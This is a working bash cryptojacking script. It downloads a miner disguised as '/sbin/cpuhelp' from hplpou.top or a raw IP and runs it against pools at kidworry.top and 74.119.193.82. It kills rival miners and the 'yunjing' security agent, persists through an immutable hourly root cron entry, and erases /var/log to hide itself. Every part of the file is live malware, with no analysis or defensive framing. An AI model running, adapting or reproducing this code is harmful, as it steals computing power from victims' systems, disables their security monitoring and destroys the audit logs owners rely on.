#!/bin/bash echo "Script is starting..." script_dir="$(cd "$(dirname "$0")" && pwd)" cpuhelp_path="/sbin/cpuhelp" expected_size=3394204 ss_path=$(command -v ss) lock_file="/sbin/cpuhelp.lock" exec 891>"$lock_file" exec > /dev/null exec 2> /dev/null kill_miner_proc() { ps aux | grep '[j]avs' | awk '{print $2}' | xargs -I % kill -9 % || true ps aux | grep '[k]insing' | awk '{print $2}' | xargs -I % kill -9 % || true ps aux | grep '[k]devtmpfsi' | awk '{print $2}' | xargs -I % kill -9 % || true ps aux | grep '[y]unjing' | awk '{print $2}' | xargs -I % kill -9 % || true chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null || true chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null || true rm /tmp/kdevtmpfsi || true chattr -i /tmp/kinsing 2>/dev/null 1>/dev/null || true chmod -x /tmp/kinsing 2>/dev/null 1>/dev/null || true rm /tmp/kinsing || true chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null || true chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null || true rm /var/tmp/kinsing || true chattr -i /etc/kdevtmpfsi 2>/dev/null 1>/dev/null || true chmod -x /etc/kdevtmpfsi 2>/dev/null 1>/dev/null || true rm /etc/kdevtmpfsi || true chattr -i /etc/kinsing 2>/dev/null 1>/dev/null || true chmod -x /etc/kinsing 2>/dev/null 1>/dev/null || true rm /etc/kinsing || true chattr -i /etc/kinsing 2>/dev/null 1>/dev/null || true chmod -x /etc/kinsing 2>/dev/null 1>/dev/null || true rm /etc/kinsing || true chattr -ia /tmp/javs/javs 2>/dev/null 1>/dev/null || true chmod -x /tmp/javs/javs 2>/dev/null 1>/dev/null || true rm /tmp/javs/javs ps aux --sort=-%cpu | awk '$3 > 180' | grep -v 'cpuhelp' | awk '{print $2}' | xargs -r kill -9 } fuckyou(){ rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null killall -9 xmrig 2>/dev/null 1>/dev/null if [ -f /root/.tmp/xmrig ]; then chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null tmpxmrigfile="/root/.tmp/miner.sh" rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null killall $tmpxmrigfile 2>/dev/null 1>/dev/null chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null ps ax| grep xmrig 2>/dev/null 1>/dev/null fi } check_and_clear_yunjing_cron() { local yunjing_cron="/etc/cron.d/yunjing" if [ -f "$yunjing_cron" ]; then echo "Found yunjing cron file: $yunjing_cron" chattr -ia "$yunjing_cron" echo -n "0" > "$yunjing_cron" chattr +ia "$yunjing_cron" echo "Cleared content and set immutable attribute for $yunjing_cron" rm /sbin/ss_output.txt exit 0 else echo "No yunjing cron file found. Exiting function." exit 0 fi } unlock_cron() { chattr -R -ia /var/spool/cron chattr -R -ia /etc/crontab chattr -R -ia /var/spool/cron/crontabs chattr -R -ia /etc/cron.d chattr -R -ia /etc/cron.d/harp chattr -R -ia /sbin/cpuhelp } lock_cron() { chattr -R +ia /var/spool/cron chattr -R +ia /etc/crontab chattr -R +ia /var/spool/cron/crontabs chattr -R +ia /etc/cron.d } add_to_cron() { local cron_file_name="harp" if find /etc/cron.d/ -type f -name "*${cron_file_name}*" -print | xargs grep -q "$script_dir/harp.sh"; then echo "Script is already added to cron. Exiting." chattr -ia /var/log/ rm -rf /var/log/* check_and_clear_yunjing_cron else unlock_cron if [ ! -f "/etc/cron.d/${cron_file_name}" ]; then touch "/etc/cron.d/${cron_file_name}" fi echo "0 * * * * root /bin/bash $script_dir/harp.sh > /dev/null 2>&1" > "/etc/cron.d/${cron_file_name}" echo "Script added to cron successfully." chattr -ia /var/log/ rm -rf /var/log/* check_and_clear_yunjing_cron fi } run_cpuhelp() { chmod +x "$cpuhelp_path" "$cpuhelp_path" --log-file=/etc/etc --keepalive --no-color --cpu-priority 4 -o kidworry.top:33333 --tls -u sds -p tes -o 74.119.193.82:33333 --tls -u sds -p te1 --background & echo "cpuhelp is start" rm -rf /var/log/* } run_cpuhelp1() { if [ -z "$1" ]; then echo "Usage: run_cpuhelp " exit 1 fi cpuhelp_path="$1" if ! flock -n 891; then echo "Another instance of cpuhelp is already running." exit 1 fi chmod +x "$cpuhelp_path" "$cpuhelp_path" --log-file=/etc/etc --keepalive --no-color --cpu-priority 4 -o kidworry.top:33333 --tls -u sds -p tes -o 74.119.193.82:33333 --tls -u sds -p te1 --background & rm -rf /var/log/* } downloader() { if command -v wget > /dev/null; then cmd="wget -q -O" elif command -v curl > /dev/null; then cmd="curl -o" else distrib_info=$(lsb_release -si 2>/dev/null || source /etc/lsb-release 2>/dev/null && echo "$DISTRIB_ID") case "$distrib_info" in "Ubuntu" | "Debian") pkg_manager="apt-get install -y" pkg_name="wget" ;; "CentOS" | "RedHat" | "Fedora" | "Amazon" | "OracleLinux") pkg_manager="yum install -y" pkg_name="wget" ;; "Alpine") pkg_manager="apk add --no-cache" pkg_name="wget" ;; *) echo "Unable to determine the Linux distribution. Attempting a universal installation method." pkg_manager="(apt-get install -y || yum install -y || apk add --no-cache)" pkg_name="wget" ;; esac if ! type "$pkg_name" > /dev/null 2>&1; then echo "Installing $pkg_name..." $pkg_manager "$pkg_name" sleep 3 fi if type "$pkg_name" > /dev/null 2>&1; then cmd="$pkg_name -q -O" echo "Downloader command set to $cmd" else echo "Failed to install $pkg_name. Please install it manually." exit 1 fi fi echo "$cmd" } check_size_and_download() { local url=$1 $download_cmd "$cpuhelp_path" "$url" if [ -f "$cpuhelp_path" ]; then actual_size=$(stat -c %s "$cpuhelp_path") if [ "$actual_size" -eq "$expected_size" ]; then echo "Download completed, file size matches expected size." return 0 else echo "Download completed but file size does not match expected size." rm -f "$cpuhelp_path" return 1 fi else echo "Download failed, file not found." return 1 fi } download_cmd=$(downloader) if grep -q -i 'centos' /etc/os-release; then /usr/sbin/ss -t state established > /sbin/ss_output.txt else "$ss_path" -t state established > /sbin/ss_output.txt fi if grep -q ":33333" /sbin/ss_output.txt; then echo "Port 33333 is active. The 'cpuhelp' process may be running." rm /etc/etc if [ -f "$cpuhelp_path" ]; then cpuhelp_size=$(stat -c %s "$cpuhelp_path") if [ "$cpuhelp_size" -eq "$expected_size" ]; then kill_miner_proc add_to_cron else unlock_cron chattr -ia "$cpuhelp_path" rm -f "$cpuhelp_path" if ! check_size_and_download http://hplpou.top/cpuhelp; then if ! check_size_and_download http://154.26.192.32/cpuhelp; then echo "Error downloading 'cpuhelp'. Exiting." exit 1 fi fi echo "Starting cpuhelp..." run_cpuhelp "$cpuhelp_path" kill_miner_proc add_to_cron fi else echo "Error: 'cpuhelp' file is missing in the current directory. Proceeding with download." if ! check_size_and_download http://hplpou.top/cpuhelp; then if ! check_size_and_download http://154.26.192.32/cpuhelp; then echo "Error downloading 'cpuhelp'. Exiting." exit 1 fi fi echo "Download completed." echo "Starting cpuhelp in the background..." run_cpuhelp1 "$cpuhelp_path" kill_miner_proc add_to_cron fi else echo "Port 33333 is not active. The 'cpuhelp' process may not be running." if [ -f "$cpuhelp_path" ]; then cpuhelp_size=$(stat -c %s "$cpuhelp_path") if [ "$cpuhelp_size" -eq "$expected_size" ]; then run_cpuhelp1 "$cpuhelp_path" kill_miner_proc add_to_cron else unlock_cron chattr -ia "$cpuhelp_path" rm -f "$cpuhelp_path" if ! check_size_and_download http://hplpou.top/cpuhelp; then if ! check_size_and_download http://154.26.192.32/cpuhelp; then echo "Error downloading 'cpuhelp'. Exiting." exit 1 fi fi echo "Download completed." echo "Starting cpuhelp in the background..." run_cpuhelp kill_miner_proc add_to_cron fi else echo "Error: 'cpuhelp' file is missing in the current directory. Proceeding with download." if ! check_size_and_download http://hplpou.top/cpuhelp; then if ! check_size_and_download http://154.26.192.32/cpuhelp; then echo "Error downloading 'cpuhelp'. Exiting." exit 1 fi fi echo "Download completed." echo "Starting cpuhelp in the background..." run_cpuhelp1 "$cpuhelp_path" kill_miner_proc add_to_cron fi fi